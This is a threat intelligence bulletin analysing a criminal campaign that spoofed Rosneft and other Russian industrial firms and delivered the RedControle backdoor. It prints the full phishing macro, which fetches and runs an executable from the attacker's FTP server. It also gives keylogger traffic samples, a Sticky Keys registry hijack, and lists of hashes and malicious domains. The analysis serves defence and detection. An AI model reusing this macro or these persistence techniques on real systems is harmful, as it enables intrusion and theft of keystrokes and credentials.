Poking the Bear: Three-Year Campaign Targets Russian Critical Infrastructure

threatvector.cylance.com/en_us/home/poking-the-bear-three-year-campaign-targets-russian-critical-infrastructure.html

by Cylance Threat Intelligence Bulletin | December 11, 2018

Nation-state conflict has come to dominate many of the policy discussions and much of the strategic thinking about cybersecurity. When events of geopolitical significance hit the papers, researchers look for parallel signs of *sub rosa* cyber activity carried out by state-sponsored threat actors—espionage, sabotage, coercion, information operations—to complete the picture. After all, behind every story may lurk a cyber campaign.

But ordinary criminals read the newspaper too and are keenly aware of the bias some researchers bring to the table. Exploiting that bias can provide additional camouflage, another layer of seeming invisibility, making threat actors harder to detect.

In this Threat Intelligence Bulletin, we'll show how an investigation into the apparent targeting of a state-owned Russian oil company led to the uncovering not of a state-sponsored campaign but of the bold activity of what we believe to be a criminal effort motivated by the oldest of incentives—money.

Background

Rosneft calls itself the world's largest publicly traded oil company, and, according to recent analysis in the *New York Times*, it is also a prominent foreign policy tool of the Russian government. More than half of the company is owned by Moscow and serves as a major pillar of critical infrastructure for Russia as well as other neighboring nation states.

So when a deal reportedly worth an excess of $10 billion was announced to take nearly 20% of the company private, news organizations around the world took note.

The deal quickly became the subject of international political intrigue: Who were the buyers? Why was it sold? Who brokered the deal? Facts that became even more apparent when the transaction received conspicuous mention in the now-infamous Steele Dossier.

Reporters, business leaders, and international observers also focused scrutiny on Rosneft in part because the deal was, according to news reports, fraught with delays and setbacks and came to involve a cast of characters that reportedly included a former Qatari diplomat turned head of a sovereign wealth fund.

Everything we learned about Rosneft in the last few years—its status as critical infrastructure, the huge sums of money involved in its privatization, its domestic and international political significance—made it a highly likely and legitimate target of foreign espionage efforts.

Indeed, when we at Cylance first saw the name “Rosneft” emerge in our research, we thought that was exactly what we were looking at: another state or state-sponsored espionage effort.

But we soon discovered that our initial impressions were flawed.

Evolution of a Threat

In July 2017, Cylance stumbled upon some interesting macros embedded in Word documents we uncovered in a common malware repository that seemed to be aimed at Russian-speaking users. We observed the same type of document resurface in the beginning of 2018 and decided to take a closer look.

Upon closer inspection, we noticed that the malware author meticulously used command and control (C2) domains which very closely mimicked their real counterparts in the Russian oil and gas industries, in particular Rosneft and subsidiaries of Rosneft.

As we investigated further, we discovered that the threat actor had created similar sites to mimic more than two dozen mostly state-owned oil, gas, chemical, agricultural, and other critical infrastructure organizations, in addition to major Russian financial exchanges.

The first Rosneft-related site we came across was “rnp-rosneft[.]ru” which was designed to resemble the legitimate webpage “mp-rosneft[.]ru”. The only reference to this domain we could identify was the email address “sec_hotline@mp-rosneft[.]ru” which was used by Rosneft for confidentially reporting corporate fraud, corruption, and embezzlement.

After a bit of malware excavation, we discovered that the author had been operating for more than three years with very few changes to the actual malware used other than his/her targets. Interestingly, we uncovered evidence that suggests the actor started out targeting the gaming community, specifically users of Steam, then quickly evolved to more lucrative endeavors.

Technical Analysis

Phishing Documents Analysis

Cylance researchers identified several phishing documents which used Microsoft Office macros to deliver malicious implants to their targets. It’s not entirely clear whether these were specifically targeted at isolated groups or utilized the old spray-and-pray method to cast a much wider net. Let’s take a look at one:

SHA256: 7bb9f72436bcbb5fcb190ebc2cce77e1ea41ba0e6614bf2347b4514e7d65da4a
Filename: На ознакомление.doc ~ For Review.doc

```
Sub AutoOpen()
'
' AutoOpen [redacted]
'
```

```
'
Dim fso, tf
Dim St As String
Dim LocalFile As String
  Set fso = CreateObject("Scripting.FileSystemObject")
  Set objShell = CreateObject("WScript.shell")
  LocalFile = Environ("APPDATA") & "\1.cmd"
  St = "cd %APPDATA%" & vbNewLine
  St = St + "echo open rnp-rosneft.ru>>1.txt" & vbNewLine
  St = St + "echo admin_root>>1.txt" & vbNewLine
  St = St + "echo [redacted]>>1.txt" & vbNewLine
  St = St + "echo cd /public_html/>>1.txt" & vbNewLine
  St = St + "echo binary>>1.txt" & vbNewLine
  St = St + "echo get module.exe module.exe>>1.txt" & vbNewLine
  St = St + "echo bye>>1.txt" & vbNewLine
  St = St + "ftp.exe -s:1.txt & start module.exe & del /f 1.txt & del /f 1.cmd"

  Set tf = fso.CreateTextFile(LocalFile, True)
  tf.Write (St)
  tf.Close

  If fso.FileExists(LocalFile) = True Then
   Selection.WholeStory
   Selection.Delete Unit:=wdCharacter, Count:=1
   objShell.Run "cmd /K cd %APPDATA% & 1.cmd", 0
   Selection.TypeText Text:="????????? ??????" + "???"

    End If

End Sub
```

Figure 1: Macro Contents of Phishing Document

At a high level, this macro will write a number of FTP commands to a text file named “1.txt” in %APPDATA%. When executed by the last command it will login and download a file from an ftp server hosted on “rnp-rosneft[.]ru” and save it as “module.exe”. It then starts the “module.exe” binary and deletes another file named “1.cmd”. The binary “module.exe” was a modern variant of a family of malware that ESET calls “RedControle.” Cylance identified several other phishing documents which operated in a similar vein that are listed in the Appendix.

Malware Analysis

We were able to recover several recent samples associated with phishing attempts connected to the rnp-rosfnet[.]ru domain as well as some older samples tied to trstorg[.]ru from July 2017. From what we could gather, “tstorg[.]ru” was originally the website of a

Russian company called “TechnoSnabTorg” involved in the sale of spare parts for drilling and road-building equipment; the company specialized in providing parts for Caterpillar, Komatsu, Volvo, Fiat, and Hitachi equipment.

This sample was first submitted to online virus scanners in July 2017 and detected by only 13 companies at that time:

SHA256 of 2017 RedControle Sample:
736aa303b35ee23204e0e7d48cb31f77605234609c2b3d89a054b7c3ec2c0544

Filenames:
Актуальный ПРАЙС10.07.2017.exe, ApMsgFwd.exe, SetLogin1Connect.exe

The backdoor was programmed in Delphi and communicates over HTTP to two C2 servers. It sends information about the IP address, hostname, and attached drives in its initial communications.

It first attempts to communicate directly to the IP address “91.211.245[.]246” on TCP port 80 and then will attempt to communicate to “83.166.242[.]15” on TCP port 17425. Keystroke data, clipboard data, as well as window names are communicated in clear text via HTTP to the 91.211.245[.]246 in near-real time as the victim interacts with their computer.

The information is collected using a well-known method leveraging the SetWindowsHookExA API. Commands are received from the other C2 server “83.166.245[.]15” in what appears to be cleartext; however, the backdoor also has the ability to communicate over SSL using the Delphi Indy library:

```
GET /buffer.php?buffer=----------------------------------------------------------------
%0D%0AIDA+-
+C%3A%5CDocuments+and+Settings%5CAdministrator%5CDesktop%5Ctst%5CApMs
gFwd.exe%0D%0A----------------------------------------------------------------
%0D%0A17425%0D%0A----------------------------------------------------------------%0D%0A
HTTP/1.1
Host: 91.211.245.246
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
GET /key.php?key----------------------------------------------------------------
%0D%0AC%3A%5CWINDOWS%5Csystem32%5Ccmd.exe+-+FakeNet.exe%0D%0A--
----------------------------------------------------------------%0D%0Ahelp%0D%0A%0D%0A-----
----------------------------------------------------------%0D%0A HTTP/1.1
Host: 91.211.245.246
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
```

Figure 2: Example TCP HTTP Requests Sending Keystroke and Window Data

The backdoor installs itself using the good old-fashioned Run key under the infected user's registry hive

"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ApMsgFwd.exe".

The backdoor had the ability to upload and download files, manipulate files and folders, compress and decompress files using ZLIB, enumerate drive information and host information, elevate privileges, capture screenshots and webcam pictures, block and/or simulate user input, log keystrokes, and manipulate processes on the infected system.

Directives from the C2 were randomly broken up by the character "_" in an attempt to likely evade HIDS and NIDS signatures such as the command "ST_A_RT_FI_LE".

Later versions of RedControle used randomized strings broken up by the same "_" character to further hinder signature-based analysis and reverse engineering efforts. In the sample Cylance researchers analyzed, the initial connection looked something like this:

```
SE_ND_CO_NN_EC

SE_ND_CO_NN_EC#192.168.1.20#8vGOR7wvBT#
```

Where the string in BLUE was sent by the C2 server and the string in RED was sent by the victim as an initial check in containing the IP address and a unique victim identifier. The backdoor operated using a series of threads which were designed to segment different backdoor functionality into autonomous threads which ran based on different pre-defined Delphi-based timers.

The backdoor appeared to be a mishmash of different authorship with the keylogger portion containing Portuguese language strings and other functions related to process manipulation containing references to Slavic language strings. These strings were eventually removed or obfuscated in later versions.

The Dropper

Cylance identified an executable dropper:

b65125ee14f2bf12a58f67c623943658dd457e5b40b354da0975d7615fe9d932

The dropper planted a version of RedControle on the system as well as another interesting binary while showing the potential victim a nice picture of a holiday present. The dropper was relatively uninteresting; however, a Sticky Keys backdoor would also be placed on the system, which warranted additional analysis.

Dropper SHA256 Hash:
b65125ee14f2bf12a58f67c623943658dd457e5b40b354da0975d7615fe9d932

Associated RedControle SHA256:
8f7cf81d8bfb3780b48693020a18071a9fd382d06b0b7932226b4d583b03c3af

Associated StickyKeys SHA256:

6e476a2ef02986a13274fb2a126ed60a1ede252919d6993de03622aaa7fe6228

The dropper created two executable files within the folder "%ALLUSERSPROFILE%\Documents", "svhost.exe" and "system.exe" and created two associated Run keys to maintain persistence for both executables. The program "svhost.exe" was the aforementioned RedControle variant with network callbacks to the domain "trstorg[.]ru" and the IP address "83.166.243[.]48".

The "system.exe" file was a StickyKeys backdoor programmed in Delphi. It first opened TCP port 3389 in the Windows Firewall and then set the following Registry Keys:

- HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger -> C:\WINDOWS\system32\taskmgr.exe
- HKLM\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections -> null value

The file was primarily responsible for enabling RDP on the target system and performing a sticky keys hijack to point to the legitimate "taskmgr.exe" binary.

If our readers are unfamiliar with StickyKeys, it was originally designed for people who have difficulty holding down two or more keys simultaneously. StickyKeys can be enabled on Windows by rapidly pressing the shift key five times. The registry key above will simultaneously launch the Task Manager binary "taskmgr.exe" along with the intended StickyKeys binary. The StickyKeys backdoor can then test corresponded to "google.ru" and various subdomains. If the test is successful, it will make the following HTTP request to "trstorg[.]ru" on TCP port 80:

GET /bas.php HTTP/1.1
User-Agent: DMFR
Host: trstorg.ru
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 19 Jan 2017 17:18:48 GMT
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Keep-Alive: timeout=60
X-Powered-By: PHP/5.5.9-1ubuntu4.

Figure 3: Example Request and Server Response from StickyKeys Backdoor

This particular sample will no longer work as the IP address "80.254.96[.]251" appeared to have been reassigned to another party and no longer operates a webserver.

Open Source Intelligence Analysis

The RedControle backdoors frequently created the unique mutex

“AppFilQsSSSwwww_jadknskjnd_jadknskjnd”

which directly links the above samples to the following hashes through open source intelligence:

10c5bf2733b7147c3663baa597b2e960069edcadf794d1ec299dfcbab489dfe1
11e8692a2d2995b105591c42fcd7a0427223f2a6b16f8e6614820024cb3415f4
27614102c5386333ecd43bb086752397726783f4d1e7fe0c1735686b5199a623
4f6de2c6d6c80b459f0bdb88cf2ce22e44ad4f3045909cbd8c1fb7632956fb63
51bc34307923d83b795319877924c9ed926366758d4662c36dce58f3a1ae20bb
7a7a139b55cd5ddcbcb8f91be1d2a247d42243d2d4a595252851987075a4338d
93b2e268ca5b8fede64edc0da7195adebbe8fa490de96b5eec1489b7868710f3
a077c085dccb900ddab2542b4b332f7c43b3674c71d5cd11afdd2861b6fec2b8
c8ca5e80d3f14102fd81b0fda54120d6ce9519a72b9d3aca23cf9b5cc8c93549

Several of these samples communicated to the domains “sxe-csgo[.]net” and “h84622.s05.test-hf[.]su”.

These domains led to two primary IP addresses: “91.227.16[.]115” and “91.227.16[.]6” as well as a few hundred unique file hashes.

The IP addresses “109.68.190[.]244” and “46.38.50[.]106” which resolved to “sxe-csgo[.]net” in 2015 and 2016 let Cylance definitively tie this subset of activity to activity targeting the Russian Steam community as well as the Counterstrike and CS:Go communities previously documented here, here, and here.

Infrastructure Analysis

The threat actor left bits of infrastructure open over time and Cylance was able to harvest some of the server-side scripts utilized by the malware for tracking and recording data stolen from intended victims. Additionally, the attacker utilized Cloudflare for free bulk SSL certificates, which inadvertently exposed a number of domains.

The attacker put a lot of time and effort into closely imitating legitimate domains and continually altered their targets over time. They would also occasionally register legitimate domains after the domains had expired.

The actor relied heavily upon the Lithuanian provider “vpsnet[.]lt” likely as a result of the low cost overhead of a couple euros per month per virtual private server (VPS).

Conclusions

When we first discovered that the threat actor was using more than two dozen websites to mimic real Russian critical infrastructure companies, we were intrigued. The effort required to set up those domains seemed disproportionate to the perceived benefit of using them simply as command-and-control infrastructure.

Then we saw a paid contributor article in a Russian edition of Forbes, published in April 2017 and entitled (in Google's translation to English) *Attack of the Clones: How Schemes Work with Fake Sites of Rosneft and Other Large Companies*.

The author was Ilya Sachkov, the founder and CEO of infosec company Group-IB and a member of cybercrime expert committees in the Council of Europe and the OSCE.

The article described what appeared to be unpublished Group-IB research findings into an elaborate criminal scheme wherein a threat actor was creating near-clones of legitimate Russian critical infrastructure companies—Rosneft most prominent among them—in order to harvest credentials and perpetuate fraud.

In the article, Sachkov provided screen shots of many of the mimicked sites to establish just how painstakingly close to the original these fake sites were designed to look.

The article referenced several of the companies and websites by name, which Group-IB said were part of the fraud campaign. At least one of the affected companies was described in the article as being a client of Group-IB.

That company's domain, as well as nearly all of the other domains cited by Group-IB were also uncovered in the Cylance investigation. For example, in addition to Rosneft, they included: Mendeleevkazot, HCSDS, and EuroChem. Mendeleevkazot is a fertilizer manufacturer and part of a larger Russian critical infrastructure holding company. HCSDS is an acronym for a Siberian Business Union, a holding company comprised of several Russian critical infrastructure companies. EuroChem (Group-IB's apparent client) is a Swiss-based fertilizer company with its primary mining activity in Russia. Its name came up in several news-related searches indicating its involvement in large financial transactions as well as geopolitical maneuvering.

Given the overlap in findings and the direct connection to past criminal campaigns targeting the gaming community, it seemed clear we were looking at the same operation—a criminal operation, not nation-state espionage activity.

The line between well-organized criminal efforts and nation-state activity can often be blurry, but practitioners and consumers of threat intelligence should beware of inherent biases. As we have shown in this Bulletin, what appears at first blush to be a clear indicator of nation-state malfeasance may in fact simply allow a criminal to hack your way of thinking shortly before hacking your organization.

Appendix

Phishing Documents Hashes:

7bb9f72436bcbb5fcb190ebc2cce77e1ea41ba0e6614bf2347b4514e7d65da4a
cb1cb113de38ae4ea1312d133d485769ecb38f2a9306f497788cd8fbb6fc4707
dcec00c780cb71b955e32231d5340e90e51c3c1828262ec7cfa239e431accf5b
68ab10ca4f823d0246822f102c412430e0a57e2026b3f0a1fd97f200e9e0e707

RedControle Hashes:

1847f578bb25fc980f8dd4112e746df0e60531012083ffbd1f294d9b19f01e26
c12e50e7c9162d8c690d3474400fe2f5d0a9c2903adbd2837d3a9023ba86fb79
9949d5d1adb4a44463363c04678dbff0d45aeff740c754aff0c3d7b54d26016d
0556aca3b5f3a4797ca36150a4b1423ec42a6827749599395d35e369f6df5568
302866c5209e8f0b0b78bbc3411e38777de9ca59a8e1c6fa0ffdf7e35aecb2aa
63d8f1566b5d0fa6459a89a0d48a163b8a356bdf2c0bec4c648b253bd8f36bb9
8f7cf81d8bfb3780b48693020a18071a9fd382d06b0b7932226b4d583b03c3af
9949d5d1adb4a44463363c04678dbff0d45aeff740c754aff0c3d7b54d26016d
aa8dc9ad33ffb69b19d2d685e302888eb557a0159c15689c0eb36b6e649c4f3a
c0b090eca76ccff3b8e7da9a3d94418d0102277a40b1dadf7fd9096ddd668e79
d31ee9ca7eb1d0fce0f688938269c7200c982f0f13daa9d40a4ce0824de6cc18

StickyKeys Hash:

6e476a2ef02986a13274fb2a126ed60a1ede252919d6993de03622aaa7fe6228

Dropper Hash:

b65125ee14f2bf12a58f67c623943658dd457e5b40b354da0975d7615fe9d932

C2 and Phishing Domains:

10-sendmail[.]ru
3-sendmail[.]ru
a-nhk[.]ru
acron[.]ru[.]com
agrarnik-ooo[.]ru
agrocentrer-eurohem[.]ru
agroudo[.]ru
amonni[.]ru
audemar-piguet[.]ru
autch-mail[.]ru
azot-n[.]ru
azot-sds[.]ru
azotsds[.]ru
azs-gazpromneft[.]ru
balecsm[.]ru
barsintez[.]ru
bashneft-centralasia[.]ru
bashneft[.]su
berkovetc[.]ru
bitmain[.]org[.]ru
bitum-gazpromneft[.]ru
bitum-rosneft[.]ru
bitum-samara[.]ru
bitumen-rosneft[.]ru
bitumnpk[.]ru
bor-silicat[.]ru

box5[.]photosfromcessna[.]com
bulgarsyntezi[.]ru
bunker-rosneft[.]ru
card-rn[.]ru
cargill[.]com[.]ru
center-nic[.]ru
chem-torg[.]ru
chemcourier[.]ru
chickenpaws[.]ru
china-technika[.]ru
combisapsan[.]ru
contacts[.]rosneft-opt[.]su
cryptoman[.]org[.]ru
cuban-phosagro[.]ru
dc-02ec0b5f-mail[.]mail-autch[.]ru
dc-0649e3d7-mail[.]mp-star[.]ru
dc-45e81045-mail[.]cibur[.]ru
dc-99de0f72f24b[.]3-sendmail[.]ru
dv-china[.]ru
electronrg[.]ru
euro-bitum[.]ru
euro-chimgroup[.]ru
eurochem-nevinnomissk[.]ru
eurochem-novomoskovsk[.]ru
eurochem-novomoskovsk[.]ru[.]com
eurochem-orel[.]ru
eurochem-trading[.]com
eurochem-trading[.]ru
eurochemnovomoskovsk[.]ru
eurochim[.]ru[.]com
eurohem-novomokcovsk[.]ru
eurohem[.]ru
eurohemgroup[.]ru
exp[.]gazpromlpj[.]ru
expert-cabel[.]ru
farr-post[.]ru
fesagro[.]ru
flatglas[.]ru
frigat-m[.]ru
g-pntrade[.]ru
gazprom-bitumen[.]ru
gazprom-centralasia[.]ru
gazprom-international[.]su
gazpromlpg[.]com
gazpromlpj[.]ru
gazpromlpq[.]ru

gazpromneft-aero[.]ru
gispnd[.]ru
gpn-salavat[.]ru
hcsds-azot[.]ru
imap[.]mrggazprom[.]ru
inter-finans[.]ru
inter-lens[.]ru
john-dir[.]ru
kartll[.]ru
kolomna-profil[.]ru
kub-oil[.]ru
kuban-phosagro[.]ru
kubeliai[.]lt
kubmaslozavod[.]ru
kyazot[.]ru
kyrgyzstan-gazprom[.]ru
lpggazprom[.]ru
lubricants-rn[.]ru
lubricants-rosneft[.]com
lubricants-rosneft[.]ru
lukoil[.]com
mag-numoil[.]ru
map[.]ros-razvitie[.]ru
margcom[.]ru
masterhoste[.]ru
mazutibitum[.]ru
mc-gp[.]ru
mekstekla[.]ru
mendeleevscazot[.]ru
mendeleevsk-azot[.]ru
metalloprakat[.]ru
mir-polimer[.]ru
mnpz-gazpromneft[.]ru
mp-star[.]ru
mpt-o[.]ru
mrg-gazprom[.]ru
mrggazprom[.]ru
mta5[.]boommail[.]org
nic-center[.]ru
nknpz[.]rosneft-opt[.]su
nl-mk[.]ru
oil-gazpromneft[.]ru
omega-metal[.]ru
onlinecontract[.]su
ooo-agrarnik[.]com
ooo-tandem[.]net

opt-rosneft[.]ru
phaz[.]ru
polietileni[.]ru
poligal-vostok[.]ru
polimer-trubi[.]ru
polimer16[.]ru[.]com
pop[.]gazprom-centralasia[.]ru
pop[.]mnpz-gazpromneft[.]ru
pop[.]opt-rosneft[.]ru
pop[.]rnp-rosneft[.]ru
pop[.]ros-razvitie[.]ru
postaitaliana[.]win
prof-nastillist[.]ru
prof-zavod[.]ru
profzavod[.]net
promximiya[.]ru
prosintezi[.]ru
pushkinomill[.]ru
refas[.]rnp-rosneft[.]ru
refinery-yaroslavl[.]ru
refinery-yaroslavl[.]su
rn-cpr[.]ru
rn-lubricants[.]ru
rnp-rosneft[.]ru
roamingupdate[.]eu
ros-eurochem[.]ru
ros-metal[.]ru
ros-nefti[.]ru
ros-razvitie[.]ru
rosagrotrayd[.]ru
rosneft-centralasia[.]ru
rosneft-de[.]com
rosneft-opt[.]com
rosneft-opt[.]su
rosneft-tender[.]ru
rosneft-tender[.]su
rosneft-tuapse[.]ru
rospolimery[.]ru
rost-selmash[.]ru
rps[.]ru[.]com
ru-uralchem[.]ru
ru-uralhim[.]ru
ruproflist[.]ru
rus-agrohim[.]ru
rusagro-him[.]ru
rusagrohim[.]com

russbitum[.]ru
saharzol[.]com
sal-stek[.]ru
salavstek[.]ru
salstec[.]ru
salstek[.]com[.]ru
samp[.]real-city[.]lt
sarat-steklo[.]ru
saratovstroisteklo[.]ru
saratovstroy-steklo[.]ru
severstal[.]com[.]ru
sibur[.]com[.]ru
sibur[.]ru[.]com
siburint[.]ru
simf-khp[.]ru
smtp[.]gazpromlpj[.]ru
spectech-china[.]ru
spi-mex[.]ru
steklo-stroj[.]ru
successex[.]ru
successex24[.]ru
sx[.]perfecttool[.]net
ta-bitum[.]ru
tdbkh[.]ru
teh-mail[.]ru
tektorg-rosneft[.]ru
tender-rosneft[.]com
tender-rosneft[.]net
tender-rosneft[.]ru
tender-rosneft[.]su
tender[.]ros-nefti[.]ru
tiret-salt[.]ru
titanomsk[.]ru
tmez[.]ru
tolyatiazot[.]ru
transneft[.]su
trstorg[.]ru
tsenazabora[.]ru
tuapse-rosneft[.]ru
ufaneftehim[.]bashneft[.]su
ufaorgsintez[.]bashneft[.]su
ural-met[.]su
uralchem[.]net[.]ru
uralchemm[.]ru
uralchim[.]com
uralchim[.]com[.]ru

uralhem[.]ru
vitohim-rostov[.]ru
vmznasos[.]ru
vmzz[.]ru
vojxua[.]iheys[.]in
volga-phosagro[.]ru
vostok-polygal[.]ru
wapmafija[.]eu
world-provodnik[.]ru
wtpc[.]ru
xn----7sbiki4aifik1ax[.]xn--p1ai
xn----8sbyfdnfhp0c[.]xn--p1ai
xn----gtbcbb8bdhqbmdl1a[.]xn--p1ai
xn----gtbcbb8bdhqbmdl1a5j[.]xn--p1ai
xn--80aaoboarccvfll0ah5mza[.]xn--p1ai
xn--e1apchgin[.]xn--p1ai
xn--j1aicfcj5e[.]xn--e1apchgin[.]xn--p1ai
yandex[.]mail-autch[.]ru
yug-polimer[.]ru

Share It:

Research & Intelligence

About The Author

Cylance Threat Intelligence Bulletin *Monthly bulletin from the Cylance Threat Intelligence Team.*
Author's Bio